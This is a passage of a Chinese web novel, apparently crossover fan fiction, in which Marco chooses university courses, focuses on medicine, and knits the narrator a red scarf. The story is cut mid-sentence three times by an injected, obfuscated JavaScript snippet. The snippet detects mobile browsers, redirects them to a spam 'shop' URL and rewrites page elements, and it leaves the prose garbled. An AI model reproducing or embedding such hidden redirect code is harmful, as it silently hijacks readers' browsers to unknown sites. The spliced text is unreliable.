我凑过去:“会用了吗?登录校园网看看,这周末得选课了!” “选课?”马尔科一无所知,那天的大课没有认真听,果然没有。 “什么选课,大小姐?”他问我。 我不知道要怎么解释,便只告诉他步骤:“你把卡插进去,先加入你们班的聊天群。” 通讯器的双系统由两部分构成,锁定能力者的那部分需要办事处定制,而作为普通人的那部分,也得按照普通人的生活方式,购入电话卡。 马尔科的电话卡在修兵那里。 之前申请入学,需要给学校留下联系方式。修兵开通了一张电话卡给马尔科上学用,暂时绑在我的名下,在马尔科拿到通讯器前,一直由他暂管。 我去修兵房间找。他做事谨慎,东西早放到了桌面上,还贴上了小纸条,提醒我们有空去做个人认证,把卡转到马尔科名下。 那是后事,有空再说吧。 “插进去了,然后呢?”马尔科问我。 “然后——”我探头探脑,得先瞅瞅这新机器。 我是苦手,我也没有很会。管理员不是万能的,我就是很好的例子。 我正在苦恼去哪儿找他的校园网账号,马尔科的聊天窗口亮了。是社区聊天,班主任发来消息—— “马尔科,你终于在线了。你还没有选课吗?这周末就截止了。我们班只剩你了。” “抱歉,老师。现在正要选。” “好,如果有问题随时联系我。” “好的。谢谢。” 对话结束。对话窗口里却还停留着一条置顶消息。 我忽然想起修兵有写置顶的习惯,便让马尔科点进去瞧瞧——果然看到了他的校园网账号,以及一系列的备忘摘要。 “……啊啊啊,就是这个!”我得为我和修兵的默契打满分。 “就是这个,”马尔科带着笑,“大小姐,然后呢?” “然后打开校园网,登录软件,进入选课系统——马尔科,选你感兴趣的,或者你喜欢的。” “我……喜欢的吗?” “嗯,”我无不肯定道,“选你喜欢的。” 他翻了几页,问我:“选这个有影响吗?” “没有。” “之前卡卡西不是说家里需要一个医生?” “……” 我不知道他怎么会挂念着这件事? 是因为我很冷吗?如果是的话,那马尔科也太温柔了。 但事实上不是这样,和他想的迥乎不同。 我想他是自由的,我们也是平等的,他不用考虑我,他喜欢什么上什么。修兵是因为喜欢编辑工作,才去工作。卡卡西是很有责任感的人,他喜欢出任务,才去出任务。马尔科也一样——他想做什么就做什么,只要他喜欢,他做什么都可以。 我把情况讲给他听。 我坚持着:“选你喜欢的就好了。” 他推了下眼镜,偏过头问我:“那你怎么办?” “什么怎么办?” “你怕冷,找医生不是因为这个吗?” “不要紧,现在已经不冷了。” 我不是已经有马尔科了吗?不死鸟抱枕很酷的诶!人不能既要又要,可以了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073612|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我已经很满足了。 其他的我不要求。我搂着他的胳膊:“你别管我,只管选你喜欢的。” “我喜欢的……”马尔科看向我,欲言又止。 他已经在往前走了,一双眼黑白分明,神采奕奕。只是说起“喜欢”,神色便有点茫然。 选择并没有很容易。马尔科在看,手指在屏幕上飞快地划动,但看来看去,好像没有哪一门可以入他的眼。 “没有想法吗?” “嗯,有推介吗?” 我没有,摇了摇头:“在这里,要逐渐做回你自己。” “做……我自己?” “嗯,每个人都要做自己——‘真正的自己’。” “……”他没接话,沉默着望向我。不知道在想什么,我见他眸光微微闪烁。 交流和解释都很麻烦,我不喜欢,也不擅长。 但我担心马尔科会误解——他是温柔体贴的人。温柔体贴诚然是难能可贵的美好品质。但偶尔也会成为自己的负担——我知道,因为修兵和卡卡西也是这样的人。 即便我不够了解马尔科,我和修兵一起生活了七年,和卡卡西朝夕相处了六年,我绝对了解这种品质。 马尔科闪烁的眸光仿佛是一种印证。 我怕他误会,而这件事他绝不能有一丁点误解。 我们家诚然是因为想要一个温柔体贴会照顾人的医生,才填写了申请表,匹配到了他。但只要他来了,成为了我们家的一份子,日后他还要不要做医生就变得无关痛痒。 就好像天下父母都会自然而然地拥有望子成龙、望女成凤的期待,但一旦孩子降临,一旦真心呵护,往后余生唯一的期待就只剩下“平安快乐”一样。 或许在他到来之前,重要的是“医生”,而在他到来以后,重要的就只是他这个人而已。 “……别的都不要考虑,只出于你自己的喜好去考虑,明白吗?” 我不知道自己有没有解释清楚。 听完我的解释,马尔科沉默着注视我,久久没有回答。 他的眼睛明亮而透彻,与我对视许久,才如梦初醒般收回眸子,转头看向别处。 我不知道他在想什么。但听见他轻声发笑。 “嗯……好像明白了。”马尔科说。 “明白就好。”他最好明白了,解释这种事我真的不擅长。 我不再多说,也不在这里多呆。 做自己是一生的课题,不仅是马尔科,连同我、修兵、卡卡西,我们都在这个方向上努力。而经验告诉我,起初要做自己很难,难就难在活在社会里的人难以割弃长此以往的社会属性,只听内心的声音。 这就好像牢笼中的鸟雀总想挣脱出束缚,获取自由。而真正获取自由的时刻,又感到无所适从。 在命运的操弄下,许多人都像被无形铁链束缚的兽。一方面想极力挣脱束缚,获取自由;另一方面又无法真正的面对“自由”,在真正挣脱束缚的一瞬间——到来这里的时候——变得无所适从。 来到这里的每个人都要经受这样的考验。马尔科也不例外。 只有成功跨过了,才能真正开始新生活。 抛弃自己的社会属性的时候不能被干扰,我从他臂弯里挣扎起身。 马尔科身上很香,最近有在逐步推进个人管理。恰到好处的木质调香气沁人心脾。 第一步是认识生存与生活的区别。 他做得很好。 第二步是如何去生活。 我相信他能做得很好。 “你选吧,选好了叫我。” 我走了,让他自己做决定。 18.10 自由(2) 每年秋天都有时装发布会,会后各大时尚周刊会预测次年的潮流趋势。最近正是发杂志的时候,修兵的桌上摆了一摞最新周刊。 我去他房间看了几本。 “大小姐,我已经选好了,”马尔科叫我,“我需要你替我检查一下。” “检查?” “嗯,有没有什么做错的,或者必选,我却没有选的……” 毕竟他不够了解这里。我理解他的意思。 我出去找他,我接过他的手机检查,翻来翻去,居然全是医学。 我没有看错,除了必选课,马尔科把所有的主观学分全给了医学。 特殊大学一般是四年制,少数人会修五年。一共修满一百五十学分。其中,专业课一百分,剩下五十定向分。这五十分里包含了:十分体育、十分家政、十分社会学,二十分自由选修。一般人都会在选修分上浑水摸鱼,而马尔科的一百分专业课全部选择了医学,连剩下这二十分选修也全部是医学。 “马尔科,你喜欢做医生吗?” “嗯……”他语调拖得长长的,解释起来像在述说一个古老的故事,“一开始做医生只是因为果实带有治愈的能力,后来习惯了……也挺好。” “什么好?” 如果他说不出来到底哪里好,我认为他在勉强自己。 我追着他的眼睛,非要他说出口。 马尔科挑了下眉:“能帮助别人,不好吗?能帮上忙的话,就会觉得很高兴啊——” “嗯,那很好,”我没有异议,只要他不是出于“人设”,而是真心喜欢。 距离选课截止还有三个小时,我认真翻看了他所选的所有医学方向的课程。 有一件事让我疑虑,我问他:“马尔科,心理学你怎么不选呢?” “是什么?”他反问我。 “……你没有听说过吗?” 马尔科摇头。没有电子设备的存在,书籍和知识的确不是容易流通的财富。 轮到我出马了!我给他解释—— “所谓外科,就是手术、切除、器官的转移之类的;而内科是身体内部的循环,包括血液、□□、或者系统;心理学是精神健康相关,譬如,精神分裂症、创伤性应激综合征之类的。” 他脸上明晃晃地写上了“震惊”:“这里能治疗精神疾病?怎么做的?吃药吗?” “……”这个问题我却很难回答,我毕竟不是专业的。 “我不是医生,不了解详情。” “没关系,”马尔科笑着,“说你知道的。” 然而我所知甚少,我绞尽脑汁也只能磕磕绊绊地回答出: “只是提供了一种治疗的方法:精神类的疾病都和神经元有关系,一方面通过吃抑制药,克制恶化的倾向;另一方面,专业的心理医生会通过聊天引导患者回忆和面对‘伤痛’本身,从而进行治疗。至于能不能治疗,要分人,有可能成功,也有可能无法成功。” “……明白了,”好在马尔科意会到我在说什么,“听起来很有趣。” “你有兴趣吗?” “嗯。”他把心理学的一页课程全部申请了。 我听说学医苦累,专业性强,每一个分支都充斥着大量的细枝末节,很值得推敲。 这样完全陌生的领域,马尔科居然一次性勾选了所有。 我只理解到一件事——他感觉“有趣”,且能做到这种程度的无视辛苦,那是说,他真的很喜欢医学! 我没有想过马尔科会是一个学霸! 我送他去上学,纯粹为了给他找点事做。我没有期待他要考取多优异的成绩——都可以,无所谓,换了我未必能有多优秀,所以他也可以不优秀,无所谓,都可以。 我甚至想过如果马尔科不喜欢上学,不习惯规则和束缚,那他可以混学分。 我会推介他上体育课——短跑Ⅰ、Ⅱ、Ⅲ;长跑Ⅰ、Ⅱ、Ⅲ;足球Ⅰ、Ⅱ、Ⅲ;篮球Ⅰ、Ⅱ、Ⅲ……或许除了游泳课不太行,其他都会是他的强项。 我一点也不担心他的学习,如果他文化课不好,我可以送他去上体育特长生。 在翻阅杂志的半个小时里,我想了所有的可能,但我唯独没想到马尔科是学霸。 “那医疗器材学呢?”我凑过去给他推介点别的,他要做医生一定会用得上。 “是介绍你们这里的医学器材的课程吗?” “是。” “那应该学一下。”马尔科点击了申请。 “公共卫生学呢?”我又翻到了一个! “这个是……” “介绍我们这边医疗卫生体系的学科!” “那也应该了解。”他申请了。 …… 要当一个医生可不是这么简单的事情! 我俩窝在沙发上选了一下午,赶在截止时间前提交上去,系统提示:通过申请,超过学分请在二十四小时内补缴费用。 费用。关键词随弹窗一起赤裸裸、明晃晃地摆在我们面前时,我听到头顶略显尴尬地吸气声。 “……还是再斟酌一下吧,”马尔科说,所谓“斟酌”,其实是准备取消一些课程。 “啊!马尔科!你干嘛!” 我连忙制止他,将他手机上提示缴费的弹窗连同他要取消课程的荒诞行为一并拍照发到群里,让大家都来评一评—— “你们看!他居然想取消课程!” 修兵在线,几乎秒回:“?” “我没看错吧,一百五十分还不够,超出了一百多分?” “你没看错!”我锐评,“他真的很喜欢医学!” 这可能远远超过了我们的预想。修兵一连发了数个“震惊”的表情。 “医学很难的,马尔科是高材生啊!” “是啊!是高材生!” “哇,了不起啊马尔科!”修兵也锐评。 马尔科还不了解这里的生活,也不够了解这里的人—— 我之所以会立即将其归类到“不想学习”一类,是因为世上人口千千万,混子得占一大半。大学城里的混子更多,可以玩的话谁想学习?我反正不想,像他这种在知识领域有自我追求的人凤毛麟角。 求知是少数人才会做的选择。他就是那样万里挑一的“少数人”。 至于选择只是选择,能不能坚持下去又是另一回事了。而这件事不属于我和修兵讨论的范畴。 “卡卡西在干嘛?” “任务吧。” “算了,不管他,等他空了自己会看的。” “总之,不许取消课程!”我提议! “总之,不许取消课程!”修兵虽然复制,但他表示附和。 “总之,不许取消课程!”卡卡西突然出现了,“哇,真是人不可貌相啊马尔科!” 原来我们对他都有一点先入为主的误解——海贼世界文化缺乏,常识缺失,但那关马尔科什么事? 我们家马尔科可是板上钉钉的高材生! “穷什么都不能穷教育!”我提议,“我要给马尔科缴费!只要他想读书,我送他去最高学府!” “支持,”修兵也说,“这个月要发奖金了,要补多少?我去看看。” “不用——”支持教育刻不容缓,我已经有想法了,“马尔科要读书,读书为重。要不先取消今年的旅行,等马尔科毕业了再说,怎么样?” “我没问题。”修兵秒答。 为了防止一味地拆西墙补东墙,影响生活质量,我们家是专款专用制度。 在修兵发各类奖金的时候,自动扣除百分之十存入专门的账户,用于一年一度的旅行——卡正好在我这里,每年都是我决定去哪里旅行。 “什么旅行?”马尔科还不知道,看我们聊天,又愣住了,歪着头问我。 “温泉旅行!”我拗不过他,只能回答,“每年都有的固定项目,天冷的时候一起去泡热乎乎的温泉!” 但今年可以例外!毕竟穷什么都不能穷教育! 我和修兵都同意了,只等卡卡西答复。只要他也觉得可行,我们就把今年的旅行经费冲到马尔科的读书账户上。 “我没问题。”卡卡西也回。 马尔科几乎同一时间发出消息:“不用,有些课也不重要,不要取消你们的旅行。” “别介意马尔科,”卡卡西又不见了,修兵回答他,“那个旅行本来就是为她定制的——她每年都怕冷,不泡热汤活不下去。今年有你了,我看她生龙活虎,不泡热汤也没关系。” “但是——” “别介意。卡卡西第一次出长任务,今年冬天有够他忙。我这边工作也多,不去反而轻松一些——编辑部组织的活动,我年年都不参加,今年可以去体验了。” 我们都因为他的到来更加自在从容。 可修兵已经把话说到这份上了,马尔科竟还有推辞之意。 “一家人别说两家话。”我警告他。 这话题没必要争了,我们三个攒起来的钱,我们三个有权利决定如何使用。 我把卡拿给马尔科,我不会操作,得他自己研究一下。 他很聪明。我一看就头大的智能设备,这会儿功夫他已经会了,得心应手。 “缴上了吗?” “嗯,”他推了下眼镜,看着我,神色动容,“我已经给你们添了很多麻烦了……” “这不是‘麻烦’。”我纠正他有失偏颇的措辞。 这根本算不上“麻烦”,一定要说的话,只能说马尔科太温柔了—— 提交申请是我们三个的决定,送他上学也是我们自己的选择。既然只是为自己的选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093256|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责,那他为什么要为此耿耿于怀? 是他太温柔了。我懂得。性格温柔的人就是这样,事事都站到对方的立场考虑,常常忽略了自己。 温柔当然很好,只是没什么必要——我们是家人,家人之间并不需要多余的礼貌和客套。 不是吗? 我以为是的。 “……你很在意吗?”我问他,“如果你真的很在意,我可以告诉你不添麻烦的办法。” “什么办法?”他眼睛一亮,果然很在意。 天终于放晴了,雪后空气纯净。夕阳亦艳丽。余晖像燃烧的火,从窗台一跃而入,踱步在我们家客厅中。时间又玩起了把戏,光线阵远阵近,远时爬上我侧脸,近时隐匿踪迹,躲在院子里的围墙下,引人驻足。 透过窗,能见到外面红日绝美。但太冷了,我只想趴着观望,一步都不想出门。 至于那个办法—— 其实没什么办法。不是问题的问题,本身就没有答案。 我告诉他:“好好照顾我。” “……”他微微一怔,那亮晶晶的眼神顷刻间只剩下笑意。 “就这个?” “不然呢?” 他摇了摇头。没有“不然”,“好好照顾我”的确是这件事的最优解。 马尔科很聪明,他知道我在说什么。 “这个已经答应过了,”他甚至问我,“除此之外,还有没有别的要求?” “没有了。”我也摇头。 我对他别无所求。 每个人都有自己的课题,自己的事情要自己解决。我顶多站在管理员的角度,在必要时候,给他几句题点。 我想了很久……我想我对马尔科的认识是否有些先入为主? 譬如说到读书——毋庸置疑是好东西——无需多言,修兵和卡卡西秒懂。但“金钱”“享受”和“学习”一齐上天平,我不知道为什么马尔科会得出“课程不重要,不要耽搁旅行”的结论? 他的确很温柔,心思柔软又敏感。而在此之外,我想,会不会是因为他和我们的观念并不一致? ——对于海贼来说,读书是毋庸置疑的好东西吗? 仔细想想,伟大航路上似乎没有听说过“学校”的存在。在魔幻的想象里,知识也像是无用的废品。 如果对他而言,“学校”本身是完全未知的领域,那么的确可能得出“学习不如旅行”的奇怪结论。 虽然这个结论是不对的。在这个新世界里,读书就是好东西,毋庸置疑。 夕阳斜斜地照在我脸上。暖洋洋的,我没有躲闪。 我拉着马尔科,必须要和他说明。 “学校是很好的地方。” “嗯,是吗?”他侧耳在听。 “是的,”我点着头,认真与他安利。 学校里有很多好玩的东西,他可以去开展兴趣爱好、可以运动打球、可以学术研究……想做什么都可以,学校是社会的缩影,里面包罗万象,总有一项会让他称心如意。 而且上学也很好,做学生更好,自由闲散,简单纯粹。 他不用考虑赚钱养家,那是修兵的事;不用考虑办事处的公差,那是卡卡西的事;只需要读书,读的不好也没关系,我没有要求,开心就好;也不需顾虑我的存在,要是干涉到他的社交,我可以留在家里,不和他一起—— “为什么不和我一起?”马尔科叫停了我,“为什么会干涉我的社交,什么意思?” “嗯……” 老实说,这个问题还真把我问到了。 有关我是管理员这件事,我不知道该怎么去解释。好在这种事似乎也不需要我去解说,我想他只要经历过一次就懂了,时间会给他答案。 所以我只解答有关我自己的那部分。 “我不喜欢人多的地方,不想和人接触。” “那我们找人少一点的地方好了,”马尔科秒答,“我也不想和人接触。” 这种话从马尔科嘴里说出来,比一夜锐降二十度更让我震撼。 我果然是有严重的刻板印象。在那种动辄几千人的大船队里如鱼得水,会让我理所应当地认为马尔科是外向开朗、爱热闹的性子。但他这一番不假思索的对白却颠倒了我自以为是的认知。 “你不想交朋友吗?”我不清楚是不是我理解错了。 “嗯,”但他肯定了我的猜想,“……现在的话,只想好好照顾你。” “所以……别不和我一起啊,大小姐。” 马尔科伸手摸我的头,手臂挡住了我的视线。我看不清楚他的表情,也听不出他的情绪。 我只知道这是他的选择。 我无所谓。只要是他真心的选择,我都可以接受。 “嗯,”我答应他,“那以后我们一直在一起。” 19.11 浪漫(1) 卡卡西和我说过,摸头是亲近的意思。他之所以捏我脸、摸我头、甚至敲我脑袋,都是因为亲近——在他心里,他和我最要好了。 过去六年里,我始终怀疑他在找借口。但马尔科也摸我头,我开始觉得这话倒也不完全是托辞。 马尔科的确和我变得亲近了,就在他摸过我头以后。 晚上睡觉他不再欲言又止,也没有迟疑和犹豫,一躺下就把我捞进他被窝里。他的火焰很温暖,怀抱也是。无聊时会主动找我说话,和我说话的语气也变得愈发柔和。 “明天要早点起床了哦,大小姐。” “嗯。” 选课结束以后,还有为期一周的试课环节。 我们不可以睡得太晚。次日早上,我们就得开始上课了。 早课在八点,预计六点半就得起床。这样健康的作息对马尔科而言如鱼得水,对我而言却十分困难。 我很不习惯,早早缩进被窝,躺在马尔科怀里酝酿睡意。 我是睡不着。马尔科是没有睡,一手搂着我,一手托着手机,浏览校园消息。 过去这段时间,学校里一切事务都由修兵代替他处理。包括对话、人物关系、学校办事流程……马尔科本人毫不知情,一切都要从头开始学习。 对此我兴致乏乏,只想早点休息。 而他全神贯注。无聊至极的校园网说明,居然能研究一整晚。 我没有猜错:我们之间的确存在着认知壁垒。那些对于我、修兵和卡卡西来说司空见惯的“常识”,对于马尔科而言却显得无比的无常与陌生。 一晚上,我的耳边频频传来他惊异地感叹—— “营养学……居然不是医学,是料理课吗?” “是的。” 马尔科说的那种“营养学”应该被归纳于“康复营养学”里,是医学门下的一种;而没有前缀的“普通营养学”只是讲烹饪食材搭配的学科,被归类于大众养身,是生活门下的必修课。 这当然也是一种“生活”和“生存”的区别,所以他不知道很正常。 “那我选错了,”他后知后觉,立马调整和更正,“这个备注一下,回头要改。” “好的。” “……还有多余的学分,干脆把两门都选了。” “嗯……” 马尔科求知欲旺盛,他是真心喜欢医学。 热情当然是好的,只是接连的问题,把我好不容易酝酿的睡意通通驱逐出境。 “马尔科,”我不满地控诉他,“你一直说话,都把我的瞌睡虫赶跑了!” “呃,抱歉,”他连忙把灯关了,也缩进被窝里,“……那睡觉吧,大小姐,剩下的明天再说。” “嗯。你不准说话了。” “好。” 他分明答应我了,没隔几秒,忽然又讲:“稍微有点明白你说的话了……学校的确是个很好的地方啊。” “……”我听见了,没有回复。 马尔科是个认真的人,我感觉到了。和温柔体贴一样,认真也是少见而难得的可贵品质。 可惜他对这里一无所知。我只希望他了解真相以后不会太失望。 …… 我不能一直和他聊天,次日要早起,我不比他那般精力充沛。 “早啊,大小姐。”早上他热情招呼我。 “你早。”我从他臂弯里探出头。他一双眸子神采奕奕,而我只觉得困乏,根本睁不开眼。 天气清冷,尚未回暖。街上行人寥寥无几。 我们选课有点晚,有些课暂时选不上。要等试课期间别人退课空出名额,才能向上补位。 马尔科醒得早,六点二十分的闹钟响起前,他已经折腾了好一段时间了。路上他侃侃而谈:“……课与课之间有冲突,同一时间里的课只能选一门,所以今天一整天都要不断地换教室,确定选择的课程。” “好的,”我牵着他手,听他安排行程。 这条笔直康庄的银杏路原本很漫长,但说着话很快就到。 我不认识学校里的小路,也不知道他更换了一早上课程,现在的选择分别是什么,上课的教室又在哪里。 那不归我管,我懒得知晓。 我说了,我不在乎他上什么课、考出什么样的成绩,体验就好,重在参与,别的我都无所谓。我只负责跟他一起,免得我一个人在家待着,他们三个都不能安心。 我往马尔科的背包里放上了几本杂志,原计划在他上课时看小说。 马尔科的话在我听来只是一种提醒:下课时间不可以摸鱼。 早八点,我们在教室最后一排坐下。听了半程,课间休息时,马尔科带着我一通辗转,换去了另一间。 这堂课也只听半程,下课铃一响,马尔科拉上我换去了第三间。 …… 整整一星期,我们都在轮换里度日。 马尔科对这里并不了解,选择的课程数目繁杂。而当我们花费一整个星期一一试课,最后的结果却是坐在空泛的大课堂里,台上老师讲着空空如也的长篇大论,我在靠窗的角落看小说,马尔科在桌下织着毛线。 我看着他时,他也在看我。 我们相视一笑。 这种结果我并不觉得意外: 这里是三个世界的集合,学校要面向三个世界的居民开设课程,考虑到每个世界的文化水平参差不齐,个体差异过大,大多数课程都会分成初、中、高三级,每一级也会细分为Ⅰ、Ⅱ、Ⅲ节。 级和节分开计算学分,难度呈阶梯式递增。学生可以酌情学习,中途可以随时停止修习,而相反,要学到高级Ⅲ,也必须先完成前面八节课的修习。 马尔科刚开始上学,选择的科目虽然多,但每门都必须从初级Ⅰ开始。 而对于马尔科这样的聪明人而言,真正有用的知识并不多。 我知道这种事迟早会发生,只是不知道马尔科究竟掌握了多少?哪些对于他来说是有用的? 具体的细节只有他自己可以分辨,然后就变成了现在这样—— 他看着我,我看着他。 老师慷慨激昂,我们相视一笑。 秋季连载的小说都已经看完了。我把杂志交给马尔科,让他替我收起来。 我百无聊赖,看起他织围巾——马尔科心灵手巧,一周下来试课不见水花,围巾倒是织得有模有样。 我没有干涉过他的选课,这门课选得让我很是意外。 生活必修课门门爆满,唯独毛线编织门可罗雀。周二我们去报道,课上总共才三个学生,除了马尔科,那两个都是非常年轻的小姑娘。他人高马大,和教室的氛围格格不入。在点名之前,老师一直分不清来上课的究竟是我还是他—— 老太太满头银发,笑呵呵地非常慈祥。但总是把毛线交到我手里。 马尔科忙着去接,连连提醒她:“老师,是我上课。这是我家大小姐,她陪我上课而已。” “喔,对对对……一不留神就忘记了,”老太太笑眯眯的。 “……”那两位学生也笑眯眯的。 气氛有点微妙。 “很少看到男生上手工课,我教课这么多年,你是第二个。” “哈哈,是吗。”马尔科笑了笑。目光在我们之间流转,他悠然自得,好像根本没那回事。 我发现了,马尔科的确和我们不同。 譬如对“学校”的认识,也譬如遇到别人的眼光——一种对于所有人来说都难以挣脱的绝对束缚——人活着总归会在意的,但投射到他身上,我微微拧眉,马尔科却神态自若。 这是一门纯正的兴趣课。一百五十分必修里,生活必修占二十分,毛线课可以占一分。 这一分并不算“易得”,没有文化课的加持,唯一的通关条件是织出一条围巾。 “你以前织过吗?”我偷偷问他。 “没有,”他朗声答,“这是第一次。” “其实织围巾并不难,”老师走过来安慰我们,“只要一点耐心和专心就可以了。” 马尔科点头说是,我保持沉默,并未反驳。唯有念头在脑海里闪过——可耐心和专心才是最难的,不是吗? 好消息是,对于马尔科来说,耐心和专心,以至于细心……几乎是他的一种秉性,不难,他手到擒来。 全场就他一个男学生,还是一个纯粹的新手。老师教的仔细,他听得也认真。 手工课就这点好,没那么多理论,一来就是实操。那两位都有经验,打了个照面就走,只有马尔科需要教学,老师直接坐到了我们旁边,一对一地教。 工具和毛线都由学校提供,算在了学费里面。 马尔科选了红色的毛线,选定了款式,之后每天提着装毛线的袋子,走到哪儿织到哪儿,白天织了晚上织,上课织了下课织——偶尔课间休息,他把围巾绕在我的脖子上,比划着长短。 “这个长度合适吗?” “只要完成就可以了。” “哈?只完成怎么行,”他挑了挑眉,“送大小姐的东西,要你喜欢才行啊。” “!”我惊呆了,恍惚间还以为是听错了,“要送我吗?” “是啊,”他理所应该地回答,“我们家大小姐这么怕冷,冬天早起,没有围巾不行的吧?” 马尔科在整理我的小裙子时,发现我并没有冬天的围巾和帽子。 我的确没有,从前的冬天我不出门,自然不需要。现在的确需要,而这件事我自己还没有想过。 “……真的织给我吗?”这让我感觉惊喜。 “真的啊,”他唇角扬着,语气柔和,“不过你能接受吗?这个比较简陋,都是平针,也没有装饰,会不会有点老气?” “没有老气,这很好看!”我搂着围巾不松手,当场宣布,简单的就是最好的! 这太不可思议了!马尔科帮我织围巾诶! 从来没有人给我织过围巾!红色最经典,冬天这样沉闷,最需要红色做点缀。我不知道他织出来是什么样子,但他如此心灵手巧,一定很好看。 我已经开始喜欢了。 “今天下午交完作业就给我了吗?” “对呀,等打完分就是你的了。” 那太好了!上课铃适时响起,我们暂停了交头接耳。 围巾的长度很合适,马尔科开始收尾。我抓着围巾的一头,专心看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115619|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他勾勒。一节课谁也没听,直到下课才继续聊起—— “大小姐,有件事我一直想知道。” “什么事?” 围巾织好了,马尔科交到我手里。他裹着剩余的毛线球,偏头问我:“说起来,什么程度会给你惹上麻烦呢?” “违法乱纪。” “哈?” “怎么?” “没,没什么,”他咧着嘴笑,“你总说你讨厌麻烦,我还以为我不能做的事很多。” “违法乱纪包含很多内容的。” “比如说……打架算吗?” “哪种打架?” “打架还分哪种?” “分啊,”我点头道,“你走在路上,迎面来了路人。你毫无缘故地就对他动手——” 他的神色有点好笑:“……我都不认识,毫无缘由的打人做什么?” 我摇摇头:“不知道,我只是举例子。这种是违法乱纪,会惹麻烦,不要!” “那……如果这个路人毫无缘故地对我动手,我还手了呢?” “是正当防卫。” “那……如果这个路人毫无缘故地对另一个路人动手,我出手制止,被迫打起来了呢?” “那是见义勇为——” 恶意伤人、正当防卫和见义勇为是迥乎不同的三件事,虽然都涉及打架,性质上却很大的区别。我不知道他们那里是根本没有法律?还是法律形同虚设?或者太过笼统? 认真回忆海贼的生存环境……似乎三者皆有。 我微微拧了下眉头,不得不强调一件事:“马尔科,你尽量做吧,再麻烦我也会摆平。” 他笑了下,拨开我脸侧的碎发:“还是算了,你可不是喜欢麻烦的人。” 马尔科似乎误会了,我的确不喜欢麻烦,但我所谓的“不喜欢”是单纯的懒得搭理,不是不会解决。 懒得搭理,和没有能力解决,是截然不同的两回事。 不过算了,他就是这样心思细腻的人。 否则也不会想到为我织围巾——这么浪漫的事,只有小说里温柔系的女主角才会做的。 马尔科没有再说了,收拾好线球,又翻起了手机。下节课还是在这间教室,我们难得一次清闲。 教室里的学生陆续离开了,我凑过去,主动问他:“是什么事?” “哈?” “什么事,你说吧,我会解决的。”我保证。 “没什么事,”马尔科望着我笑,“我只是想问你,我能不能退课?” 我点头:“当然可以,不过我方便知道理由吗?” “嗯?”他很是诧异,“退课需要理由吗?” “不需要,”我只是要强调一件事,“但如果是出于钱的考虑的话,没必要。” “老实说,是有一点关系,”马尔科告诉我。 如果他说毫无关系,我会认为他在说假话。因为他温柔又体贴,不会不为我们的家庭考虑。但他说有关系,我想,那他在对我坦白。 我望着他,认真听他下文。 但他却话锋一转,忽然笑了:“不过大小姐都说了要全力支援,还因为这件事纠结,我也太不识抬举了吧?” “嗯!”我也笑起来。 我喜欢他的坦诚。 “那为什么?” 有点冷,我把手揣进了他口袋里。 他微微愣了下,然后眉眼弯弯地把手揣进来,握住了我。 “课程内容比较空泛,且就老师的板书来说——这些内容即便在我们那里也是基础的知识,所以觉得有点浪费时间。” “也浪费钱。”他对我说。 但听口吻,浪费时间是真,钱只是捎带。 那我明白了。 可以理解,他毕竟已经是医生了。且从医数年,临床经验丰富。 而恕我直言,在这里开课教学的老师,或许绝大部分在医术修养方面并不如马尔科。这一点,早在选课的那天临睡前,我就已经想到了。 我没有问题,只是建议:“或者去申请提前结课?退课就不能参加结业考试了。” “有必要参加吗?” 我认为有:“理论来说,我觉得我一个人生活也没什么问题。但实际上我生活不能自理,我需要人照顾。” “……哪有这么夸张?”马尔科挑了下眉。 “有的,”我拼命点头。 他微微一怔,随即哈哈大笑。我从他的行为里瞧出了他不以为然的态度。但他没有提,只是笑着,不置可否。 正巧这门课的老师正从教室外经过。 马尔科戛然而止。 “在这等我一会儿,大小姐。我去咨询一下老师。” 不是在询问我的意见,他只是在陈述他的决定。 “嗯。” 没等我说,他一个翻身追出门,疾迅如风。 和出身死神和火影的人相比,马尔科外形不够精致,生活有够粗糙……是风格的问题,不是他的,尾田只知道冒险,懂什么审美和生活。但我想,有一件事尾田占到了优势。 修兵和卡卡西都没有那种气质。 马尔科是自由的鸟。 20.11 浪漫(2) 我没有问马尔科和老师沟通出了什么结果,从他飞奔回来,携着一本书……接下来的一堂课目不转睛地看完了这本书的行为分析,我认为马尔科被婉拒了。婉拒的理由不详,但大意是——别不知天高地厚。 这种事情太寻常了。 人是活在时间里的生物,会凭借过往的经验认识现在,但马尔科比较特别,他的意识不受条条框框拘束,是那种会颠覆想象的存在。 这种事我知道,别人未必知道。不知者不罪。 上课铃响,马尔科一直在埋头看书。 我闲着无事,抬头听了节课。 长久以来,我虽然同马尔科一起上课,从不缺席,但从来不听。我又不是医生,没有必要深入了解医学领域,我只是管理员,不需要面面俱到。 这一节课听得我昏昏欲睡。 